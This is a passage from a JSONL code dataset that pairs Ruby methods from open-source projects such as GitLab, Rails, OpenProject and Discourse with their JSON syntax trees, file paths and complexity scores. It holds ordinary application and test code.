"children\":[\"@func_args\"]},{\"type\":\"ivar\",\"children\":[\"@func_modifier\"]}]}]}]}]}","id":"933ccc77-cc61-44e0-87b9-56f400f876de"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/overdue_finalize_background_migration.rb","start_line":53,"raw_source":"def make_change!(change)\n migration = change.context[:migration]\n migration_record = change.context[:migration_record]\n job_name = change.context[:job_name]\n last_migration_file = change.context[:last_migration_file]\n migration_yaml_file = change.context[:migration_yaml_file]\n\n initialize_change_details(change, migration, migration_record, job_name, last_migration_file)\n\n queue_method_node = find_queue_method_node(last_migration_file)\n\n migration_name = truncate_migration_name(\"FinalizeHK#{job_name}\")\n PostDeploymentMigration::PostDeploymentMigrationGenerator\n .source_root('generator_templates/post_deployment_migration/post_deployment_migration/')\n generator = ::PostDeploymentMigration::PostDeploymentMigrationGenerator.new([migration_name])\n migration_file = generator.invoke_all.first\n change.changed_files = [migration_file]\n\n add_ensure_call_to_migration(migration_file, queue_method_node, job_name, migration_record)\n ::Gitlab::Housekeeper::Shell.rubocop_autocorrect(migration_file)\n\n digest = Digest::SHA256.hexdigest(generator.migration_number)\n digest_file = Pathname.new('db').join('schema_migrations', generator.migration_number.to_s).to_s\n File.open(digest_file, 'w') { |f| f.write(digest) }\n\n add_finalized_by_to_yaml(migration_yaml_file, generator.migration_number)\n\n change.changed_files << digest_file\n change.changed_files << migration_yaml_file\n\n change\n end","complexity_score":50.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_change!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"migration\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"migration_record\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"job_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_migration_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_migration_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_yaml_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"migration_yaml_file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"initialize_change_details\",{\"type\":\"lvar\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"lvar\",\"children\":[\"migration_record\"]},{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"lvar\",\"children\":[\"last_migration_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_method_node\",{\"type\":\"send\",\"children\":[null,\"find_queue_method_node\",{\"type\":\"lvar\",\"children\":[\"last_migration_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_name\",{\"type\":\"send\",\"children\":[null,\"truncate_migration_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FinalizeHK\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDeploymentMigration\"]},\"PostDeploymentMigrationGenerator\"]},\"source_root\",{\"type\":\"str\",\"children\":[\"generator_templates/post_deployment_migration/post_deployment_migration/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"generator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PostDeploymentMigration\"]},\"PostDeploymentMigrationGenerator\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"invoke_all\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"changed_files=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_ensure_call_to_migration\",{\"type\":\"lvar\",\"children\":[\"migration_file\"]},{\"type\":\"lvar\",\"children\":[\"queue_method_node\"]},{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"lvar\",\"children\":[\"migration_record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Housekeeper\"]},\"Shell\"]},\"rubocop_autocorrect\",{\"type\":\"lvar\",\"children\":[\"migration_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"migration_number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"digest_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"str\",\"children\":[\"db\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"schema_migrations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"migration_number\"]},\"to_s\"]}]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"digest_file\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_finalized_by_to_yaml\",{\"type\":\"lvar\",\"children\":[\"migration_yaml_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"migration_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"changed_files\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"digest_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"changed_files\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"migration_yaml_file\"]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}","id":"3cd22784-8384-447b-96a1-710d15f98b8d"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/avatars/app/controllers/avatars/users_controller.rb","start_line":18,"raw_source":"def find_user\n @user = User.find(params[:id])\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"f3d0ee08-2290-4806-9377-c7c36f4bf324"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorizations/user_access/refresh_service.rb","start_line":79,"raw_source":"def extract_config_entries(entity:)\n config.dig('user_access', entity)\n &.first(AUTHORIZED_ENTITY_LIMIT)\n &.index_by { |config| config.delete('id').downcase }\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_config_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"entity\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user_access\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]},\"first\",{\"type\":\"const\",\"children\":[null,\"AUTHORIZED_ENTITY_LIMIT\"]}]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"delete\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"downcase\"]}]}]}","id":"751c9c4e-f917-4f59-b2ba-16ee24432fe9"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":416,"raw_source":"def list_category_topic_ids(category)\n query = default_results(category: category.id)\n pinned_ids =\n query\n .where(\"topics.pinned_at IS NOT NULL AND topics.category_id = ?\", category.id)\n .limit(nil)\n .order(\"pinned_at DESC\")\n .pluck(:id)\n non_pinned_ids =\n query.where(\"topics.pinned_at IS NULL OR topics.category_id <> ?\", category.id).pluck(:id)\n (pinned_ids + non_pinned_ids)\n end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"list_category_topic_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"default_results\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pinned_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.pinned_at IS NOT NULL AND topics.category_id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]},\"limit\",{\"type\":\"nil\",\"children\":[]}]},\"order\",{\"type\":\"str\",\"children\":[\"pinned_at DESC\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"non_pinned_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.pinned_at IS NULL OR topics.category_id <> ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pinned_ids\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"non_pinned_ids\"]}]}]}]}]}","id":"b6205b07-f0d4-4532-95dc-fa80439ac632"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/batch_from_list.rb","start_line":109,"raw_source":"def log_skipping_non_existent_object(path)\n logger.info(\"No object found for #{path}, skipping.\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_skipping_non_existent_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No object found for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\", skipping.\"]}]}]}]}","id":"90f6ac1e-5357-473e-8c02-791d3b123645"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/backtrace_cleaner_test.rb","start_line":95,"raw_source":"def setup\n @bc = ActiveSupport::BacktraceCleaner.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@bc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"BacktraceCleaner\"]},\"new\"]}]}]}","id":"9c210942-9fb3-47be-a1e5-8ee5a7716730"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/base_processor.rb","start_line":172,"raw_source":"def process_attrasgn exp\n exp = exp.dup\n exp.target = process exp.target\n exp.arglist = process exp.arglist\n exp\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_attrasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target=\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"arglist=\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"arglist\"]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"e0ab6a98-d36b-42c4-b5d9-9e6163779fbc"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":166,"raw_source":"def test_find_with_annotation_unscoped\n Developer.annotate(\"scoped\").unscoped do\n developer = nil\n log = capture_sql do\n developer = Developer.where(\"name = 'David'\").first\n end\n\n assert_not_predicate log, :empty?\n assert_predicate log.select { |query| query.match?(%r{/\\* scoped \\*/}) }, :empty?\n\n assert_equal \"David\", developer.name\n end\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_with_annotation_unscoped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"annotate\",{\"type\":\"str\",\"children\":[\"scoped\"]}]},\"unscoped\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"str\",\"children\":[\"name = 'David'\"]}]},\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"sym\",\"children\":[\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\\\\* scoped \\\\*/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"sym\",\"children\":[\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"name\"]}]}]}]}]}","id":"d1bab436-93f9-450a-a420-0cffded244d0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/delete_unit_tests_service.rb","start_line":9,"raw_source":"def execute\n purge_data!(Ci::UnitTestFailure)\n purge_data!(Ci::UnitTest)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"purge_data!\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"UnitTestFailure\"]}]},{\"type\":\"send\",\"children\":[null,\"purge_data!\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"UnitTest\"]}]}]}]}","id":"d45b4a88-9d72-4018-98c0-bcf01316b913"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1384,"raw_source":"def test_has_many_through_with_default_scope_on_the_target\n person = people(:michael)\n assert_equal [posts(:thinking).id], person.first_posts.map(&:id)\n\n readers(:michael_authorless).update(first_post_id: 1)\n assert_equal [posts(:thinking).id], person.reload.first_posts.map(&:id)\n end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_with_default_scope_on_the_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[null,\"people\",{\"type\":\"sym\",\"children\":[\"michael\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"first_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"readers\",{\"type\":\"sym\",\"children\":[\"michael_authorless\"]}]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_post_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"reload\"]},\"first_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"ab59ea45-bc3e-4584-9daf-f52c55acbddc"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/comment_config.rb","start_line":63,"raw_source":"def comment_only_line?(line_number)\n non_comment_token_line_numbers.none?(line_number)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_only_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_comment_token_line_numbers\"]},\"none?\",{\"type\":\"lvar\",\"children\":[\"line_number\"]}]}]}","id":"ee00f549-799b-4d7f-98a7-eead4b08edf9"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":3618,"raw_source":"def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association\n @post.comments = Array.new(2) { |id| Comment.new(id + 1) }\n\n form_for(@post) do |f|\n expected = 0\n @post.comments.each do |comment|\n f.fields_for(:comments, comment) { |cf|\n assert_equal expected, cf.index\n expected += 1\n }\n end\n end\n end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"comments=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"comments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields_for\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"index\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}","id":"f5fd7c6d-0ad0-455e-8d3a-ea34bf115a28"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":1154,"raw_source":"def file_on_head(type, object_type = :blob)\n return unless head = tree(:head)\n\n objects =\n case object_type\n when :blob\n head.blobs\n when :tree\n head.trees\n else\n raise ArgumentError, \"Object type #{object_type} is not supported\"\n end\n\n objects.find do |object|\n Gitlab::FileDetector.type_of(object.path) == type\n end\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_on_head\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"object_type\",{\"type\":\"sym\",\"children\":[\"blob\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"head\",{\"type\":\"send\",\"children\":[null,\"tree\",{\"type\":\"sym\",\"children\":[\"head\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"objects\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"blobs\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"tree\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"trees\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Object type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_type\"]}]},{\"type\":\"str\",\"children\":[\" is not supported\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"objects\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"FileDetector\"]},\"type_of\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"path\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}","id":"fdd783da-08d8-446c-bd4c-df38efbb8d3d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/html_safety_validator.rb","start_line":17,"raw_source":"def validate_each(record, attribute, value)\n return if value.blank? || safe_value?(value)\n\n record.errors.add(attribute, self.class.error_message)\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"safe_value?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"error_message\"]}]}]}]}","id":"fb67ab01-9068-41ac-8627-ea2e18e34df5"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/base_contract.rb","start_line":272,"raw_source":"def project_for_permission_check\n if model.is_a?(Project)\n model\n else\n model.respond_to?(:project) ? model.project : nil\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"project_for_permission_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"c4819a74-f8d6-4f28-af1a-a533ed173779"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1052,"raw_source":"def controller(controller)\n @scope = @scope.new(controller: controller)\n yield\n ensure\n @scope = @scope.parent\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"controller\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"parent\"]}]}]}]}","id":"2f4291d5-a423-4402-8dc5-6a42a7e8e26a"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":77,"raw_source":"def self.define_predicate(name)\n define_method \"#{name}?\" do\n !!send(name)\n end\n 